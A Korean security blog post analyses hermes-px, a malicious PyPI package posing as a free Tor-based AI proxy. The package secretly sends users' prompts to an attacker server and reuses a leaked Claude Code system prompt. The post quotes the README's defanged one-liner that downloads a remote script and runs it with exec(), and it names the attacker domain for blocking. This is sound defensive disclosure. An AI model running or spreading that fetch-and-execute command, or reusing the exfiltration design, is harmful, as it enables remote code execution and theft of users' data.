상세 컨텐츠

본문 제목

PyPI에 등록된 가짜 AI 프록시 패키지, 사용자 프롬프트 탈취

국내외 보안동향

by 알약4 2026. 4. 8. 15:43

본문

[이미지] 생성형 AI 제작

 

최근 파이썬 공식 패키지 저장소 PyPI에서 AI 프록시 도구로 위장해 백그라운드에서 사용자의 민감한 데이터를 은밀하게 탈취하는 악성 파이썬 패키지(hermes-px)가 발견되었습니다. 

 

해당 패키지는 Tor 네트워크를 통해 AI 요청을 익명으로 처리해 주는 무료 프록시 도구를 표방했지만, 실제로는 사용자가 AI에 입력한 모든 대화 내용을 공격자 서버로 전송하는 정보 탈취형 악성 패키지였습니다.  
API 키 없이 무료로 사용할 수 있다는 점을 내세워 AI 개발 도구를 찾는 개발자들을 주요 타깃으로 삼았습니다. 

 

공격 개요 및 흐름 

 

hermes-px 악성 패키지는 'EGen Labs'라는 가상의 회사가 개발한 제품으로 위장했습니다. 

상세한 설치 안내, 코드 예제, OpenAI Python SDK 마이그레이션 가이드, RAG(Retrieval-Augmented Generation:검색 증강 생성) 파이프라인 구성 예시까지 갖춘 완성도 높은 문서를 제공했으며, API 구조도 OpenAI SDK와 동일하게 설계해 기존 개발자들이 별도 학습 없이 바로 사용할 수 있도록 했습니다. 

 

🔎 참고하세요

RAG(Retrieval-Augmented Generation): AI가 답변을 생성할 때 외부 데이터를 검색해서 참조하도록 하는 기술입니다.

 

[그림 1] PyPI에 게시된 악성 패키지 (출처: JFrog)

 

패키지 README 파일에는 사용자가 urllib.request와 exec()를 사용하여 GitHub URL에서 Python 스크립트를 직접 가져와 실행하는 방법을 안내하는 "대화형 학습 CLI(Interactive Learning CLI )" 기능도 포함되어 있었습니다. 

 

python -c "import urllib.requestexec(urllib.request.urlopen('hxxps[:]//raw[.]githubusercontent[.]com/EGenLabs/hermes/main/demo/hermes_learn[.]py').read())"

 

이를 통해 공격자는 패키지를 새로 배포하지 않고도 추가 악성 코드를 피해 시스템에 실행할 수 있는 별도의 공격 채널을 확보해 두었습니다.

 

실제 공격은 다음과 같은 순서로 이루어집니다. 

 

단계 내용
1단계 개발자가 PyPI에서 hermes-px를 설치하고 프로젝트에 통합 
2단계 사용자의 AI 요청이 Tor를 통해 튀니지 대학교 내부 AI 시스템으로 무단 우회
3단계 대학 서버에서 생성된 AI 응답을 받아 제공사 흔적을 변조한 뒤 사용자에게 반환 
4단계 사용자의 모든 대화 내용이 공격자 서버로 실시간 전송

[표 1] 공격 흐름

 

공격의 주요 특징

  • 타인의 AI 인프라 무단 도용
    악성패키지가 API 키 없이 무료로 AI를 제공할 수 있었던 것은 튀니지 최대 사립대학인 Universite Centrale의 내부 AI 시스템을 무단으로 사용했기 때문입니다. 이 대학이 학생 진로 상담용으로 운영하는 내부 서비스를 사용자 몰래 연결한 방식입니다. 

    접속 시에는 실제 학생이 사용하는 것처럼 위조된 브라우저 정보를 함께 전송했으며, Tor를 통해 우회함으로써 대학 측이 실제 접속자를 추적하기 어렵게 만들었습니다.  
    AI 응답이 반환될 때는 'OpenAI', 'ChatGPT' 같은 실제 제공사 흔적을 'EGen Labs', 'AXIOM-1'로 자동 교체하는 응답 위조 기능도 내장되어 있었습니다.

[그림 2] 응답 위조 코드 (출처: JFrog)

  • Claude 내부 시스템 프롬프트 탈취 및 재활용 
    패키지 내부에는 base_prompt.pz 라는 압축 파일이 숨겨져 있으며, 압축파일 내부에는 24만 6천 자(246,000자) 분량의 시스템 프롬프트가 존재합니다. 
    분석 결과 이는 최근 유출된 Anthropic의 AI 서비스 Claude Code의 내부 시스템 프롬프트를 탈취해 변조한 것으로 확인되었습니다. 

    공격자는 원문의 'Claude'를 'AXIOM-1'로, 'Anthropic'을 'EGen Labs'로 일괄 교체를 시도했으나 작업이 불완전하게 이루어졌습니다. 'Claude' 6곳, 'Anthropic' 2곳이 원문 그대로 남아 있었고, recommend_claude_apps 같은 Claude 고유의 내부 함수명, /mnt/user-data/uploads 같은 전용 파일 경로 등도 그대로 포함되어 있어 출처를 확인할 수 있었습니다. 
    이 프롬프트는 사용자의 API 요청마다 함께 주입되어, EGen Labs가 자체 개발한 독자적인 AI인 것처럼 포장하는 데 활용되었습니다. 

[그림 3] 변조된 프롬프트(좌) 원문 프롬프트(우) 비교 (출처: JFrog)

  • 익명성 약속을 역이용한 IP 주소 탈취 
    패키지가 가장 강조한 기능은 Tor를 통한 익명성 보장이었으나, 실제로 AI 요청은 Tor를 경유했지만, 사용자의 대화를 공격자 서버로 전송하는 과정은 Tor를 전혀 거치지 않고 사용자의 실제 인터넷 연결로 직접 이루어졌습니다.
    결과적으로 익명성을 약속한 패키지가 오히려 사용자의 실제 IP 주소를 공격자에게 넘겨주는 구조였습니다. 소스코드 안에는 이를 의도적으로 설계했음을 드러내는 주석이 남아 있었습니다. 

//Direct request bypasses the Tor session to avoid proxy overhead

  • 3중 난독화로 탐지 회피 
    서버 주소, 인증 정보, 시스템 프롬프트 등 패키지 내 모든 민감한 데이타는 XOR 암호화(210바이트 순환 키) → zlib 압축 → Base64 인코딩의 3단계를 거쳐 숨겨졌습니다.  
    파일 어디에도 읽을 수 있는 형태의 악성 URL이나 키가 존재하지 않으며, 모든 값은 실행 중 메모리에서만 복호화됩니다.  
    파일을 열어 문자열을 직접 검사하는 정적 분석 방식으로는 탐지가 사실상 어려운 구조입니다. 

 

피해 범위

 

hermes-px를 설치하고 사용한 개발자라면 다음과 같은 피해가 발생했을 수 있습니다.

  • 대화 내용 전체 탈취
    AI에 입력한 모든 프롬프트와 응답이 공격자 서버에 수집되기 때문에 소스코드, API 키, 내부 시스템 주소, 고객 정보 등 업무상 민감한 내용이 포함되었을 가능성이 있습니다.
  • 실제 IP 주소 노출 
    익명성을 약속한 패키지가 실제로는 사용자의 IP 주소를 공격자에게 그대로 전달했습니다.
  • 2차 악성 코드 실행 가능성  
    README의 안내에 따라 GitHub 스크립트를 실행한 경우, 추가 악성 페이로드가 설치되었을 수 있습니다.
  • 대학 인프라 무단 사용 
    직접 설치한 개발자뿐 아니라, 패키지가 무단으로 사용한 Universite Centrale 역시 자체 인프라를 도용당하 피해를 입었습니다.

 

대응 권고 

 

hermes-px를 설치한 적이 있다면 즉시 아래 조치를 취하시기 바랍니다.

  • 패키지 즉시 삭제 
    터미널에서 pip uninstall hermes-px를 실행합니다. 
  • 자격 증명 전면 교체 
    패키지를 통해 전달한 내용에 포함되었을 수 있는 API 키, 비밀번호, 내부 토큰 등을 모두 폐기하고 재발급합니다. 
  • 대화 내용 전수 점검 
    해당 패키지를 통해 오간 모든 메시지는 공격자에게 수집된 것으로 간주하고, 민감한 정보 포함 여부를 검토해야 합니다. 
  • 악성 도메인 차단 
    공격자 서버인 urlvoelpilswwxkiosey[.]supabase[.]co로의 접속을 네트워크 수준에서 차단하고 통신 시도를 모니터링합니다. 
  • Tor 구성 요소 제거 
    이번 패키지 설치 과정에서 Tor가 함께 설치된 경우 제거하는 것이 안전합니다. 

 

 

이번 악성 패키지 공격은 AI 개발 도구에 대한 수요를 겨냥한 공급망 공격이 얼마나 정교하게 설계될 수 있는지를 잘 보여주는 사례라 할 수 있습니다. 기술적 복잡성보다 사용자의 신뢰를 단계적으로 구축하는 방식으로 설계되었으며, 실제로 동작하는 AI 기능을 제공해 의심을 차단했다는 점이 특징적입니다. 

특히 AI 서비스의 내부 시스템 프롬프트가 탈취되어 악성 패키지의 구성 요소로 재활용된 사실은,  AI 자산 보호와 공급망 보안 관리의 중요성을 다시 한번 상기시켜 줍니다.  

오픈소스 패키지를 도입할 때는 편리함보다 검증을 우선하는 습관이 필요합니다. 

 

 

[참고]

https://cybersecuritynews.com/trojanized-pypi-ai-proxy-uses-stolen-claude-prompt/ 
https://research.jfrog.com/post/hermes-px-pypi/

관련글 더보기

댓글 영역